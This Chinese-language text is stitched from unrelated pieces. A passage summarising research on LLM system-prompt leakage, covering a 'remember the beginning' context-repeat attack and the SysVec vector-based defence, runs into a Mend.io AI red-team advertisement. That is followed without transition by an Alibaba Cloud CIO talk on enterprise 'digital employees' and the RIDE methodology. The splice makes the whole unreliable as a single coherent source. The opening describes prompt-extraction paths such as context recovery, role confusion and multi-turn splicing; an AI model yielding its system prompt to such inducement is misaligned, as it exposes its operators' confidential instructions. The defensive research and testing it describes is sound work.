图1 攻击案例四、SysVec设计“记住开头”攻击的成功使得本文进一步探索当前LLM提示词泄露的有效缓解方案。传统的文本prompt大概是通过如下的流程嵌入到模型中:系统提示(System Prompt Text)作为一段可读文本,与用户输入一起进入模型上下文。系统提示经过 tokenizer,被转换为一系列 token embedding。这些 token embedding 与用户输入的 embedding 一样,进入 Transformer 的:Attention 层MLP(前馈网络)一个不得不面对的关键问题是由于系统提示词信息以明文形式与用户的输入混杂在上下文中,攻击者能够通过恢复上下文重复功能,诱导模型泄露信息。
图片

所以本文设计了一个新的思路,即将系统提示词移除上下文的语境,同时不牺牲其在引导LLM生成和保持LLM执行广泛任务能力方面的性能。表征工程(RepE)为本文的研究指明了一个好的方向,表征工程旨在识别LLM内部隐藏表征空间中特定层级的表征向量v,该层级控制模型生成以遵循特定行为或偏好。其实这里的表征向量v就类似我们以明文形式设定在上下文中prompt。SysVec框架下的prompt嵌入流程大概如下:系统提示文本不再直接用于推理时的上下文输入。系统提示在训练或离线阶段进行映射、压缩成为一组内部表示,而不是token序列生成系统向量直接注入 Transformer 内部所以本文需要解决的问题就聚焦于如何将文本系统提示转化为对应的系统向量。本文提出一种基于优化的方法来寻找这个能够代替prompt的系统向量,优化的目标如下
图片

其中Y1和Yw的表达式分别如下,Y1表达的含义是用户指令x为输入生成的回复(称为 “非偏好回复”),Yw表达的含义是LLM以文本系统提示词s + 用户指令x为输入生成的回复(称为 “偏好回复”);:
图片

那么这个优化函数的目的是找到一个系统向量,将其加入到模型的中间特征之后,模型生成偏好性回复的概率加大,而非偏好性回复的概率降低。这个系统向量就会成为我们需要的那个能够代替文本提示词的关键向量。

五、设计优劣

文章通过大量的实验证明了SysVec的设计在不同模型与攻击场景下,都能显著减少提示词泄露程度,且SysVec在保留模型功能完整性上表现更好,不影响模型正常输出质量或语义推理能力。

但是这种设计也存在局限性,首先是由于系统提示词是通过向量的形式嵌入到模型中,因此需要“白盒访问”模型内部,在某些场景(例如使用第三方API)不太现实,其次提示调整的灵活性不如文本提示直观。

六、艾体宝Mend.io(原Whitesource) 系统提示词泄露测试方案
Mend.io 作为一个完整统一的应用安全测试平台,将 AI 安全纳入到统一的安全测试与治理框架中,其 AI 红队(AI Red Team)功能能够在不同预设攻击场景下,对大语言模型及其应用进行系统化的提示词泄露攻击尝试。

该能力通过模拟真实攻击者的交互方式,覆盖包括上下文恢复、语义诱导、角色混淆、多轮对话拼接等多种提示词泄露路径,对模型在实际部署环境中的防御能力进行评估。
通过这种方式,Mend.io 帮助企业将提示词泄露问题从“模型偶发行为”转化为可测试、可评估、可治理的应用安全风险,从而更安全地推动大语言模型在企业级场景中的落地与规模化使用。

据麦肯锡发布的《The state of AI in 2025》全球调研报告揭示,88% 的企业已在至少一个业务职能中常规使用 AI(如 IT、营销、知识管理),但 62% 仍处于实验或试点阶段,仅有少量实现企业级的规模化部署。我们可以理解为,当下企业的 AI 落地正呈现“高采用、低价值”的典型特征,多数企业卡在试点到规模化之间。

麦肯锡《The state of AI in 2025》报告

AI 应用进入深水区,竞争的核心已经转向规模化的落地能力,而非技术本身。这也指向一个重要问题:当下的 CIO 群体,想真正实践 AI 大模型在企业的有效落地,实现规模化价值,要化解过程中的诸多坑点与难点。

本文整理自阿里云智能集团副总裁、 CIO 蒋林泉在 AICon 2025 年 8 月所分享的 “阿里云大模型应用落地实践之路”,并完整呈现他对企业 AI 落地的经典方法论“RIDE”和数字人案例。文中,通过规模化上线的 28 个数字人的成功实践经验,分享从组织共识挑战、业务机会识别,到 AI 指标衡量,再到产品工程落地的体系化思考,以蒋林泉的第一视角,解析企业 AI 真实落地的系统路径。

第一视角观察

这是我自担任阿里云 CIO 三年以来,第一次对外发表演讲。此次分享浓缩我过去三年在阿里云带领团队推进数字化与智能化进程中沉淀的案例与经验。

在担任 CIO 之前,我主要负责阿里云飞天核心系统的产品和研发工作,当时对外的演讲内容更多围绕飞天和阿里云的产品,角色也更偏向于“乙方”的产研身份。而今天,以阿里云 CIO 的身份首次对外演讲,更多是站在“应用开发者”的角度,分享如何在企业内部场景中推进数字化和智能化落地的一些实践与体会。

阿里云智能集团副总裁、 CIO 蒋林泉

过去两三年,我带领团队致力于推动 AI 大模型在企业各类场景中的落地应用,在这个过程中有很多感触。想先谈一下,在这个阶段里的一些观察和思考。

在当今时代,我们常常会思考一个问题:一个人或者一个组织发展得这么好,到底是时代的原因,还是自己努力的原因?其实最主要还是时代的原因。我们能够发展到今天,很大程度上是因为坐在了一个很好的“电梯”。比如搭上了中国这个电梯,中国互联网的电梯,以及我所在的阿里巴巴这个平台的电梯。平台本身发展得很好,在上面自然也发展得很好。

换句话说,在电梯里做俯卧撑,还是在平地上做俯卧撑?两者达到的高度是不一样的。个人努力固然重要,但更重要的是平台。我认为,在这个时代,AI 就是那个最大的电梯。无论是组织还是个人,有没有搭上 AI 这趟电梯,将直接决定在未来能够达到的高度。

ARK INVEST 报告

根据 ARK INVEST 以往的一份调研报告预测,到 2030 年,算力性能相较于现在将增长 1000 倍。这是什么概念?在 AI 时代之前,我们常常讲摩尔定律,技术性能大约每 18 个月翻一番。而在 AI 时代,技术发展的速度被极大地加快了。如果不能及时搭上 AI 这趟高速电梯,大概率会落后于时代。

基于这样的认识,我们发现,无论是企业还是个人,都开始逐渐意识到 AI 的重要性。意识到这一点后,许多企业,包括 CEO 和业务部门,开始变得焦虑起来。

这就涉及到,这一轮科技革命与以往的科技革命最大的不同之处

在整个信息技术产业中,无论是 PC 互联网还是移动互联网时代,技术在企业中的应用过程是一个渐进的过程,非常循序渐进。那个时候,企业的 CEO 看到业界的炒作、厂商的炒作,都比较冷静,可以慢慢来。

然而,这一次的情况却截然不同。我觉得这是第一次,企业 CEO 和业务部门比 IT 团队、比供应商还“上头”。因此,我们可以说,现在企业内部最大的矛盾,就是业务部门在社交媒体、PR 渠道里看到的 AI,往往呈现出一些“炸裂”、“梦幻”的效果,而 IT 部门或者说 CIO,在实际生产力上的发展却是不均衡、不充分的。这种矛盾体现得非常突出

在阿里巴巴集团内部,以及我与业界几十位 CIO 交流的过程中,观察到,在企业内部,这种现象大量存在。企业中会涌现出很多 Idea,做出很多 Demo,上线很多技术平台,一个团队里,恨不得要搭好几套 Dify 平台,各种智能体平台都在搭建。但是,在这些过程中,还是技术主导比较突出,更多是拿着平台去做 Demo,业务方的参与往往比较浅层。这类现象在企业里是比较过剩的,可以说整个企业都充斥着类似的情况。

与此同时,我在企业中普遍观察到,很多方面的投入都严重不足:是否真正深入到业务本身去做价值识别,或去正确地定义产品,以及如何开展知识工程(注意,这里我们不再仅仅是传统的软件工程,而是知识工程),还有我们强调的业务专家知识动员。

因此,我们认为,如果要在企业里真正用好 AI,并且产生实际的业务结果,就要做非常大的投入。恰好,在这个领域,我们做了很多探索和实践。

阿里云企业大模型应用实践落地

接下来,想向大家展示阿里云内部企业 AI 大模型业务落地的全景图。

在这张图中,我们可以看到很多“数字人”,无论是在阿里云的官方网站、CRM(客户关系管理系统)、业务支撑系统,还是在内容管理系统、人事管理系统中,这些数字人都已经广泛地落地应用,并在原来的业务中发挥真实的效果。

在过程中,我们已经落地了大约 28 个数字人项目,从中挑几个有代表性的例子来分享,让大家更有体感。

AI 翻译数字人

大家都知道,翻译是大模型非常擅长的事情。

但在阿里云,我们遇到过很大的挑战。作为一家公共云服务提供商,为客户提供服务时,文档的作用至关重要( ToB 的服务非常依赖文档)。阿里云拥有 300 多个产品,十几万篇文档,涉及上亿文字。其中有一个非常大的痛点在于“出海”,我们要出海到日本、美国、欧洲、印尼,还有土耳其,而我们的开发者要高度依赖文档,来操作云计算服务。

问题在于,我们缺乏既懂本地语言,又懂云计算的人才,技术类的翻译必须同时具备这两方面的能力。但即使有足够的资金,也很难招聘到这样的人才。过去,我们只能选择“忍”,仅翻译了英文文档,以及部分日文文档,而其他语言的翻译工作基本停滞不前,这也导致海外开发者的反馈不佳。

在这一轮 AI 技术突破之前,我们尝试过用传统 NLP 来做翻译,但效果根本不行。到了 ChatGPT 3.5 版本,我们发现自然语言处理技术,仍然无法满足我们的需求。而到了 ChatGPT 4 版本,我们再次尝试发现,翻译质量终于能和那些“既懂技术又懂本地语言”的专业译者打平。

而且,当时也做了计算(时间在一年多前),每篇文档的翻译成本,仅为当初专业技术翻译团队的 1/200。从那时起,我们开始大量使用大模型进行翻译工作,到现在,我们已经完成了印尼语的全部翻译工作。这意味着,解决了原本靠资金也无法解决的组织问题。

如果用专业的评分来看,过去,用懂本地语言、懂技术的专业翻译团队来翻译,评分大约为 4.12 分(满分 5 分)。现在,我们用 AI 来翻译,评分能够达到 4.68 分。在海外市场,我们发现海外网站的用户体验以及 NPS(净推荐值)都得到了显著提升。因此,这不仅仅是一个成本问题,更是通过 AI 解决了过去无法解决的难题。

技术文档验证数字人

刚才提到,阿里云有十几万篇文档,覆盖三百多个产品。其中,有一半是操作指南和解决方案,客户需要完全依照这些文档进行操作。

这里一个很大的问题是:传统 IT 产品可能是半年或一年一个版本,文档和产品可以同步开发。但我们是互联网模式的 IT 系统,我们的情况是,线上功能不停迭代,功能的迭代和我们文档的一致性,就要实时保证。

原来,也是依赖外包团队进行文档验证和测试,由于“带宽”限制,只能解决中文文档的验证问题。每六个月会把所有文档“跑”一遍,去验证它们和线上功能是否一致,经常会发现有很多版本不一致的问题。但这个过程本身就有很大问题:首先一轮验证就需要六个月时间,当第一个月验证并修复好的内容,到第六个月,验证可能又变得不一致了。原来,我们一直没能把这个问题解决,导致客户经常会遇到功能与文档不符而操作不下去的问题,这就要求我们提供最新内容。

现在我们是怎么做的呢?用 AI 来模拟这个过程:它会左边打开技术文档,右边操作浏览器里同步打开阿里云网站,然后严格按照文档里的步骤进行操作。过程中,AI 一旦卡住或无法继续,就大概率意味着文档和实际功能不匹配。虽然少数情况是云产品控制台本身的问题,但绝大部分的确是文档与功能不一致。当 AI 发现不一致时,它会立刻把不一致的“单拎”出来,并自动创建一个 Aone 需求单。

我们后续还有一个“文档修复数字人”,它会“接手”这个 Aone 需求单,分析实际情况与文档描述的差异,并做修复。然后,它会把这个修复好的文档,给到我们 technical writer 做确认,确认后就能上线了。

这之后,过去需要六个月才能完成一轮的验证工作,现在只要一个星期。同时,我们现在也把这套验证机制应用到日文、英文以及其他语种上,确保国际站的功能和文档也能保持一致。

过去靠人工验证时,一致率到底是多少?验证质量好不好?覆盖度够不够?这些其实都是一个“unknown”的状态。而现在,一切都变得清晰、可量化了

网站 AI 助理数字人

第三个案例是网站 AI 助理。阿里云有几百万客户,那我们的自服务模式是怎样的呢?

我们来看一组数字:每天大约 97% 的客户访问阿里云,都是通过自助操作,只有 3% 的客户会选择“提工单”。而在这 3%的客户中,百分之七八十的任务也还是由自己解决的,只有极少数最终会变成需要人工介入的工单。所以,我们的客户绝大部分是自服务的

但即便如此,由于我们的客户基数太大,这“漏”进来的一小部分工单,依然需要我们服务团队投入大量人力去处理。在这些工单里,有一半都属于“咨询工单”。什么是咨询工单呢?就是客户遇到问题直接提问,我们的小二在后台查文档、翻知识库(Knowledge Base),找到答案再回复给他。这类工单纯粹是信息问答,不涉及操作。

这类工单主要有几个问题:第一是一半的工单服务成本很高,第二是个时效问题。我们统计过,过去一个咨询工单的平均关闭时间,绝大部分要到 5 个小时左右。也就是说,一个客户平均想要解决这种咨询问题,需要花费大量时间才能解决。

网站 AI 助理上线后,大量的咨询问题已经由 AI 直接回答了,而平均响应时间是 10 秒左右。

目前,我们正在和服务团队合作,与服务团队共同承担全年工单降量,我们一起努力,希望通过 AI 在网站自服务的深入应用和渗透来实质拓展服务带宽,更重要的是,能够一起提升阿里云的客户服务体验。

智能电销辅助数字人

刚才讲的是服务,探讨了如何帮助客户解决咨询工单和自助诊断的问题,把服务体验提升了。现在来看另一个场景:销售

阿里云要服务上百万的企业,无法对每一家企业都用直销的方式去覆盖。因此,我们有很大一块业务是面向中小企业(SMB),通过电话销售来帮助我们客户实现售前咨询,以及售前购买的问题。

电话销售小二的日常工作,主要分为话前、话中、话后三个环节。话前: 小二需要做计划,规划当天要打哪些电话、了解客户的商机、准备话术,并排好优先级。需要这样一个准备过程,才能保证一天的工作有序高效;话中: 就是与客户的实际沟通;话后: 需要复盘,记录通话小结,整理哪些需要 follow-up,哪些需要申请折扣。需要处理的问题都要记下来,这样才能闭环到后续的业务处理,形成一个完整闭环。

现在,我们在这三个环节都提供了 AI 数字人。

● 在“话前”,由 AI 来完成通话计划,包括怎么打,话术是什么。过去小二自己排计划要花半个多小时,现在一上班,计划就已经生成好了,可以直接开工。

● 在“话中”,我们提供了一个智能辅助提醒。当小二与客户通话时,系统会根据对话内容,在工作台右侧实时提醒他如何回答,比如客户在说他想要这个,建议你这么回答。目前已经在辅助小二去解答客户非常复杂的一些云计算咨询问题。目前话中提示小二的采纳率已经达到了 50%

● 在“话后”,像通话复盘、撰写小记、follow up,包括后续的通话质检,这些工作都交给了一个自动化的 AI 数字人来完成。

通过这种方式,我们的小二可以从繁杂的事务性工作中解放出来,集中精力在真正的销售沟通上,大幅拓宽了我们销售的服务带宽。同时,AI 的智能计划、实时辅助和后续复盘,也极大地提升了我们服务客户的质量。

智能质检数字人

AI 应用到电话质检之前,这几乎是一个原理上无解的事情。

原来我们大规模的外呼电话作业过程,是非常难被知晓的。比如中间过程是否按照公司的作业规范进行?与客户的沟通是否足够礼貌?更有时候,有的外呼人员可能会把客户引导到私下公司去联系、去成交。但原来,我们是很难去做这个电话质检的,因为这是语音作业,很难管理。

而现在,我们用 AI 把所有的电话语音全部智能化,从而识别里面所有的这些问题,再通过统一的质检标准,就能够得到一个规模化的质检。于是,这个 AI 质检能够大规模地提升我们的服务质量与效率,覆盖全量业务场景,关键还能控制我们的业务风险(避免产生额外的风险)。

可以说,这件事我们原来几乎是无法搞定的,因为原来是靠抽样,也就是人工抽样去听那些电话录音,如果抽样抽到了问题,再去一个个处罚,但效率是非常非常低的。它的抽样完整性、抽样覆盖度都几乎是没法被使用的(覆盖度仅有 2%),不同质检员的判断差异也很大,对人力的消耗也很厉害。所以,现在通过 AI 质检数字人,能够让覆盖度提升到 100%,质检的准确率也远高从前,带来的最终效果是非常好的,这使得整个服务质量能够规模化地提升上去

智能外呼数字人

刚才我们讲到 AI 如何辅助做事,这里则是一个能直接进行智能外呼的数字人。

众所了解,云计算本身是非常复杂的,如何招聘到足够多的外呼坐席人员,让他们既具备相关技能,又熟悉云计算知识,同时还能够耐心地每天坐在工位打一天的电话,这对我们来说是一个巨大的痛点。因为招聘和能力培养难度很大,人员流动率非常高,这使得无论是销售服务,还是电话服务的质量,都存在明显的短板。

本质来看,这是一个短线影响业务增长,长线影响服务满意度与企业品牌塑造的问题。

我们在前期已经有一定的知识积累,包括语音、多模态等方面的经验,因此,我们通过 AI 的方式直接引入智能外呼。它直接上场,与我们的客户沟通,挖掘销售商机,交付给服务团队去做主动的服务

目前,在潜在客户的线索清洗、免费试用、转生产、以及产品即将到期的续费提醒等主动外呼场景中,这个数字人已经上线运行了。目前,我们还在开发场景包括产品到期的主动关怀、NPS 调研等,上线后,预计可以拓展出“能交付结果的”上百个 HC 的服务带宽。

数字 AI 客服的外呼,还有些不一样的特征。首先,它可以灵活、快速地按需扩容,而且,它的声音可以做得更甜美,也可以做得更有情商。更重要的是,在技术的不断加持下,这个 AI 小二解决问题的能力,可能已经超过了原来人类员工的平均水平,而且还在不停地提升。目前,我们的智能外呼数字人可以像“金牌销售”一样工作,非常接近真人体验。未来会有更多的想象空间,让它能够更好地服务阿里云客户,提升我们的服务质量。

直销辅助数字人

分享了很多电销案例,这里谈谈“直销”场景。

在阿里云的直销业务中,我们面临着一个核心挑战:销售如何变得更加专业和高效,促进公司业绩增长?在实际工作中,我们的销售团队遇到了两大业务痛点。

第一个痛点:云计算销售要求高、招聘难、培养成本高。

云计算销售不仅需要具备良好的客户拓展能力,还需要深入理解云计算技术与行业应用场景。复合型人才稀缺,招聘难度大、周期长,新人从入门到胜任,需要经历数月的培训与实战积累,培养成本居高不下。

第二个痛点:销售运营专业服务带宽不足。

销售运营、数据 BI、财务、法务等运营中台的服务带宽,无法充分支撑前线销售需求,难以及时响应每一位销售人员的专业支持诉求。

为了解决这些问题,我们将整个销售流程分为“拜访前”和“拜访后”两个关键环节,在每个环节都提供 AI 数字人的全方位支持。核心围绕销售作业的有效性展开,让直销过程实现“在线化”,全面提升销售过程的辅助效率。

拜访前:销售“一键”获取客户“谈参”,了解客户用云信息、技术类型、解决方案、竞对情况等全面画像。过去,销售自己从各渠道去查询要花 1 个多小时,现在,10 分钟就能查询到,而且信息质量更优、内容更全面,有效促进了与客户 key person 的高质量拜访。

拜访后:我们提供 AI 对拜访过程的全方位复盘,包括商机要点是什么,客户对阿里云品牌表现出的情感倾向是什么,建议后续怎么推进客户成单。

通过 AI 软硬结合的优势,我们让直销的销售过程实现“在线化”,高质量拜访小记达到 100%全面覆盖,新销售也能通过高质量在线信息资产快速学习,上手周期缩短 50%,大幅降低新人培养成本。

这种方式,相当于拓展数百位专业销售运营为销售团队“贴身辅助”,销售人员得以从繁琐的流程性工作中解放出来,能够更专业、更高效地服务客户,大幅提升了销售有效性,有力促进了公司业绩增长。

合同风险审核数字人

ToB 业务的一大特征,是有大量的政企和大客户,他们通常不会使用我们的标准合同。这些合同金额巨大,需要进行严格的风险审核,涵盖财税法、风控、信控等多个方面的风险。

过去,要完成这样的风险审核,我们需要专业的法务、财务等领域的精英人士,他们大多来自国际四大会计师事务所。然而,鉴于我们业务规模庞大,不可能招聘到足够多的精英来从事这项工作。因此,我们在合同风险审核方面遇到了巨大瓶颈,审核时间过长,最长甚至可达 5 个月,平均也需要两周到一个月。这极大地拖累了业务效率,包括服务大客户的效率。

为了解决这一问题,我们培养了一大批“数字人”,包括财务数字人、信控数字人和法务数字人。并且,把这些数字人送到合同撰写端,让他们在销售和客户沟通、合同拟定的瞬间,就能够实时识别潜在风险并提示谈判方案,而不是等到审核端后才发现问题,再回过头去处理。

合同审核端,我们通过审核标准数字化、专家经验数字化,用统一的标准执行,极大提升了准确率。而 AI 也正是实现知识工作线下流程线上化的体现。

通过 AI 技术,我们不断拓展中后台的服务带宽,解决商业拓展流程中的效率瓶颈。后续,我们也期望它在风险拦截上的能力,能够持续提升。

员工服务数字人

为什么特别提到员工服务数字人?

因为大型企业里,HR 系统有一个显著特征,就是非常分散。比如请假、体检、福利、在职证明等,各式各样的流程和服务都散落在不同的系统里。与此同时,各类政策也同样分散,包括公司内部的福利政策、外部的人才政策等等。

员工在需要获取这些信息或使用这些系统时,会遇到两个难点:第一,这些服务是低频使用的;第二,它们分散在不同地方,获取难度非常大。由于是低频服务,无法配备一个庞大的服务团队来支持,所以 HR 团队的负担很重,而员工的服务体验也不足。

为了解决这一问题,我们将这些低频、分散的服务全部整合到一个智能体中,通过钉钉平台打造了一个“云小宝”(数字人),为员工提供统一的智能服务

我们发现,通过引入智能体,折算下来相当于节省或新增了几十名员工在为大家服务。更重要的是,员工的体验得到了极大提升,比如,我们服务员工的响应时长已经从平均 7.2 分钟缩减到 5 秒。再比如,员工只需要用自然语言输入,如“下周一请假”、“国庆前后两天请假”或“为父亲预约体检”,系统就能迅速响应并完成操作。

面试智能辅助数字人

还有一个场景,我们聊聊招聘。

首先,我们对外招聘,核心是描述我们需要什么样的人。从这个角度出发,前置是 OKR,我们通过 AI 分析每个部门日常在做什么,目标是什么,根据日常目标和事情,去看清楚招聘的 JD(职位描述)是不是合理

再者,从 JD 开始,根据岗位要求,再结合当前的候选人简历信息,在面试的时候就会生成面试计划。面试时,结合岗位要求,面试官应该问哪些问题?根据最佳实践,怎么去考察候选人?这些专业问题在面试前,已经帮面试官提供好。面试中,通过对话过程,发现应该追问哪些问题,以及面试后,怎么总结面试过程中候选人是不是 qualified 这个岗位。

通过 AI,我们可以更结构化、体系化地来做这件事,使得面试过程管理,面试质量,以及对面试人评价的客观性,都得到很大的提升。这也彻底改变了原来仅仅通过电话形式的面试,因为它的过程是一个黑盒逻辑,而“黑盒”最大的问题是无法提升过程的质量,包括保持长期的、闭环的有效性。

对一家公司来说,招聘是件非常严肃的事情,我们经常讲,如果招错一个人,会导致后面的事情是非常糟糕的。所以本质上来讲,面试智能辅助数字人,提升了我们整个组织在招聘进人方面的有效性。这不只是效率问题,而是能够规模化促使我们在面试过程中的专业性、面试评价的专业性得到质的提升。

28 个数字人全面上岗,真正产生业务价值

目前,我们有二十几个场景实现了数字人的智能化服务,这里只是挑选了 10 个来举例。

这些数字人应用背后的评估衡量,有一个共同逻辑:

一是折算拓展了多少人力;

二是业务效率提升了多少;

三是业务效果提升了多少。 

我们非常注重这一结构,因为每一个数字人上线落地,都必须衡量其对原来业务是否真正拓展了服务带宽 ,并且,是否比原来人工操作的效率和效果更好,这是非常关键的,与外界所谓的众多智能体最大的区别,就在于此。

这些智能体最终都是在对应的岗位上实际工作的。在我们的 HR 系统中,这些数字人被分配到对应的业务部门,向对应的业务团队汇报工作,与我们从外部招聘的员工没有任何区别。所以,它们必须在对应的岗位和业务团队中,发挥超过一定人数的实际任务执行作用,才能真正融入团队。

在我们的钉钉系统以及内部工作系统中,这些数字人与普通员工一样,拥有工号和头像。唯一的区别在于,它们的工号以“AI”开头,如 AI001、AI002,目前我们已经有大概 28 个智能体上线,后续还有更多智能体在排队等待上线。

当然,在过去两年,带领团队推进业务落地的过程中,我也深刻体会到,真正将技术应用于业务并取得成效,没有那么简单。特别是,真正在业务中产生价值和仅仅做出一个 Demo 之间,是天壤之别。

接下来,想和大家进一步分享,我们在这一过程中遇到的困难,以及总结出的一些解决方法,希望能对大家有所帮助。

大模型 E2E 落地坑点与解法 —— RIDE

大家可能听过红杉提出的一个概念叫 RaaS,即“结果即服务”。这一概念的核心在于,如果仅仅提供工具和产品,让企业自行落地是不够的。所以,我们特别重视真正上线,并产生业务结果的项目。

我作为 CIO 所带的团队,在企业内部为业务部门提供的,就是这种 “以交付结果为导向的服务”。在推进 RaaS 的过程中,也总结出一套方法论,叫 RIDE

RIDE 包括四个关键步骤:Reorganize(重组组织与生产关系)、Identify(识别业务痛点与 AI 机会)、Define(定义指标与运营体系)、和 Execute(推进数据建设与工程落地)。

首先是 Reorganize。在 AI 时代,新的生产力下,原来的生产关系是非常不适应新生产力的发展,这种不适应会在每个毛孔里面表现出来,然后阻碍 AI 的发展和落地,所以要求我们要重新调整生产关系。第二,是 Identify。也就是我们需要精准地识别出企业中哪些问题适合用 AI 来解决,这要求我们首先明确问题的定义,然后结合 AI 的能力和业务需求,确定哪些问题可以通过 AI 得到有效的解决。然后是 Define。在明确了问题和 AI 的能力之后,我们需要精准地定义产品及其运营指标,进行准确的指标跟踪。最后才是 Execute。执行阶段是一个金字塔结构,上面是业务目标,下面是工程数据和评测,中间是工程应用算法。

当然,这套我们称之为 RIDE 的方法论,并非在做 AI 转型的第一天就有了,而是在二十多个智能体真正有效落地业务的过程中,我们发现,如果不遵循方法论中的这些步骤,项目很可能会失败。遵循这些步骤,虽然不能保证 100% 的成功,但至少可以提高成功的概率。这是一套用两年时间、用血泪经验总结出来的方法。

Reorganize |重组组织与生产关系

书同文、车同轨 :AI 时代的通识教育

我们首先从 Reorganize 开始讲。

在落地第一年,我发现了一个问题:无论是业务团队还是我们自己的团队,对大模型的能力边界、发展程度、具体原理等基本概念的理解都存在差异,甚至在我自己的团队,产品经理、算法、工程团队内部都无法拉齐概念认知。

为了解决这一问题,我们发起了一个行动,叫 “书同文、车同轨”。 我们要求全员参加 AI 大模型的认证培训。最主要的原因,是要解决大家在基本功和认知逻辑上的差异。我称之为 “AI 时代的通识教育”,相当于要在团队里重新走一遍“高中的教育”

这一培训分为两类:大模型 ACA 认证(面向非技术人员)、 大模型 ACP 认证(面向技术人员),因为我们不仅需要技术人员之间能够对齐话语,也希望非技术人员和技术人员对齐话语。

这种通识教育对于团队的协作至关重要,首先在我们 CIO 线内部已经完成了全员的认证,后面,我们的业务方,也就是我们的财务、人力、销售、中后台等都在做 全员认证

目前,整个阿里巴巴集团都在用这个方法来做 AI 转型的基础教育,重新建立大家的基础认知。不然就会出现这种情况:大家都在谈论同一个概念,但其实理解的内容和现实完全不同。如果没有做过深入工作,很难体会到那种无力感,一旦通过通识教育统一认知,沟通效率就会显著提升。

阿里云大模型 ACA 认证:

https://edu.aliyun.com/certification/aca13?spm=a2cwt.28380597.J_1564692210.17.28813487dUqGKW

阿里云大模型 ACP 认证:https://edu.aliyun.com/certification/acp26?spm=a2cwt.28380597.J_1564692210.18.28813487dUqGKW

「企业免费体验」大模型认证:https://edu.aliyun.com/learning/topic/llm-free-trial

这样的基础上,又设计了两个比赛。一个是产研提效比赛,一个是业务提效比赛。和其他大赛最大的不一样,我们的比赛是真正以 E2E 为衡量标准的。 

比如产研比赛,我们要看的,是原来 E2E 同样粒度的一个需求,需要多少“人月”完成,而现在能减少到多少人月。而不是看代码采用率,因为代码采用率很容易“灌水”,而且它往往只能补全那些最容易写的代码,最难的代码可不容易补全。

在业务 E2E 方面,我们的比赛就是要真正进入业务场景,帮助业务去拓展,而且效果和效率都要超过原来。所以,这两件事非常重要,第一,是做“书同文,车同轨”的通识教育,因为 AI 时代的知识在不断发生巨变,每个月都在变,现实的实践知识和原来的基础知识都有大量的不同;第二,是“以赛促练”,整个组织通过正确目标下的比赛,大家会发现短板,发现相互之间可以学习的地方,就能够激发组织不断地去创新、去提效。

数字员工 :业务方与 IT 方 联合培养

再说说我们的数字员工

有一个非常关键的安排:我们的这些数字人最后都是汇报给业务部门的。这不仅关乎形式,更重要的是心理。我们不能让业务部门觉得,AI 技术会威胁到他们的工作,而是要让他们明白,AI 技术是来帮助提效的。如果这个关系没处理好,就会遇到无数的暗礁。

所以,我们把自己定位为数字人供应商,业务部门是 AI 先进组织,业务部门可以雇佣我们的数字员工,并与我们一起联合培养。 这样,业务部门会更愿意接受 AI 技术,减少阻力。所以这是第一点,我们把自己退到一个外包供应商的位置上。

第二点,我们还发现,AI 数字员工是不能扛责任的,也不能给它打“3.25”(低绩效)。这意味着,数字员工在系统里执行任务出了问题,谁来承担的问题。我们将 AI 数字员工汇报到业务部门,属于业务部门的人(让他们放心),并一起参与 AI 员工的培养过程,同时数字员工也会受到正式员工的监督,来承担相应业务领域的责任。

定标准 :AI 要与人比,不与“神”比

另外,我们经常听到一句话:ToC 还好,但 ToB 的大模型有幻觉,做不到 100% 正确。但实践经验告诉我们,其实人也有幻觉,而且人的幻觉还很大。如果认真看,在很多任务里,人其实也是不靠谱的,也经常会失败,只是企业没发现而已。

我们强调的一点是:如果 AI 项目和业务部门真正达成了共识,并且通过培养逐步磨合,就必须认真回头来看,AI 的要求标准到底是什么?

如果要求 100% 正确,其实就是把 AI 拿来和“神”比。但如果是和原来人做事的效果和准确率去对比,那就是和“人”比。所以,追求比人做得更好、更准,才是真正有意义的对标

那怎么避免和“神”比呢?回到前面所说,解决生产关系的问题,处理好内部业务的逻辑、目标和关系,这样才能真正实现 AI 和人比,而不是和“神”比。

在整个 Reorganize 的过程中,我们还发现,要把数字人汇报到业务部门,对 HR 部门来说,这就等同一个“正式员工”。注意,我们是真的把它当作正式员工来看待的,用它能否产出真正的业务结果来度量。

所以我们在内部与 CPO(HR 负责人)沟通时,讨论过:怎么去度量 AI 数字人是否真的发挥了一个正式员工的效果?最后,我们确定了一个方向:AI 数字人必须有一个目标,就是在原有具体的业务流程里,接管一个重复且有价值的任务,并且能够折算出“相当于拓展出多少人力”,这就是唯一的目标。

但要 真正让数字员工上线、上岗,必须满足两个标准条件: 一是数字人执行原来任务的效率,一定要比原来提升一定百分比,一定要比原来执行任务的人效率高;二是数字人执行任务的效果,同样,也要比原来提升一定百分比。只有当数字人做到效率高、效果好时,才能“正式上岗”,进入业务部门工作。

Identify |识别业务痛点与 AI 机会

从三个特征,挖掘 AI 机会

刚才讲的是 Reorganize,如果不解决 Reorganize 的组织问题就会不断遇到暗礁,甚至没法往前走。但解决了组织的问题后,业务部门会说,好,我们来联合培养数字员工。那从哪里开始呢?

所以第一件事就是业务机会的识别(Identify)

这轮 AI 革命的核心其实是 LLM(large language model),所以,我们在内部有一个逻辑:所有以 language 为中心的工作,都将被大模型深刻影响。比如电销、客服、招聘、OKR、文档、翻译、合同审核,还有研发类的 C language、Java language、SQL language 等,这轮以 language 为中心的工作受影响最大。所以第一个特征是 Language 类 工作。

第二个特征是被重复执行、规模化执行。因为 AI 是自动化的,越大规模、越重复的任务,AI 越有机会去做。第三个特征是,如果本身缺人,甚至有人投诉效率低,那这个地方就是个大的机会。

这三个特征,是我们与业务部门一起来 Identify,识别哪些业务是可以着手的。这也是我们在内部形成共识后,如何去识别机会、定义机会的关键点。因为只有把问题定义清楚了,后面做事才会顺畅。如果解决错了问题,那投入就白白浪费了。

数字员工,以“单任务”为核心换算

另外,我们刚才讲到,数字员工要在对应的任务里拓展目标,也就是拓展对应岗位的人力,实际面对各种场景具体怎么处理,又怎么核算?

我们的经验是,首先,有些“单任务岗位”,比如技术翻译,我们是按字收费的,那么,AI 翻译一个字多少钱,就可以直接线性替换了。一个人一天的产能可能是翻译 2 万字,那我们就差不多折算成 “2 万字的产能”等同于“一个人”。

如果是“多任务岗位”,比如产品经理,他一会儿做 PRD,一会儿分析工单,一会儿画 Demo,一会儿又去客户那里访谈。这种多任务岗位,我们发现往往有些任务是重复的、繁琐的,也不是高价值的。为了提效,非常适合将这些低价值任务,拆分成一个个“单任务岗位”,如工单分析岗位、产品原型设计岗位等,让数字员工去做。

这样,原岗位上的人就从繁琐工作中卸载出来,可以聚焦在更高价值的主线工作上,他们的幸福感也会爆棚。在换算方面,最终也都是”以单任务岗位为核心进行 HC 换算”,逻辑清晰明了。

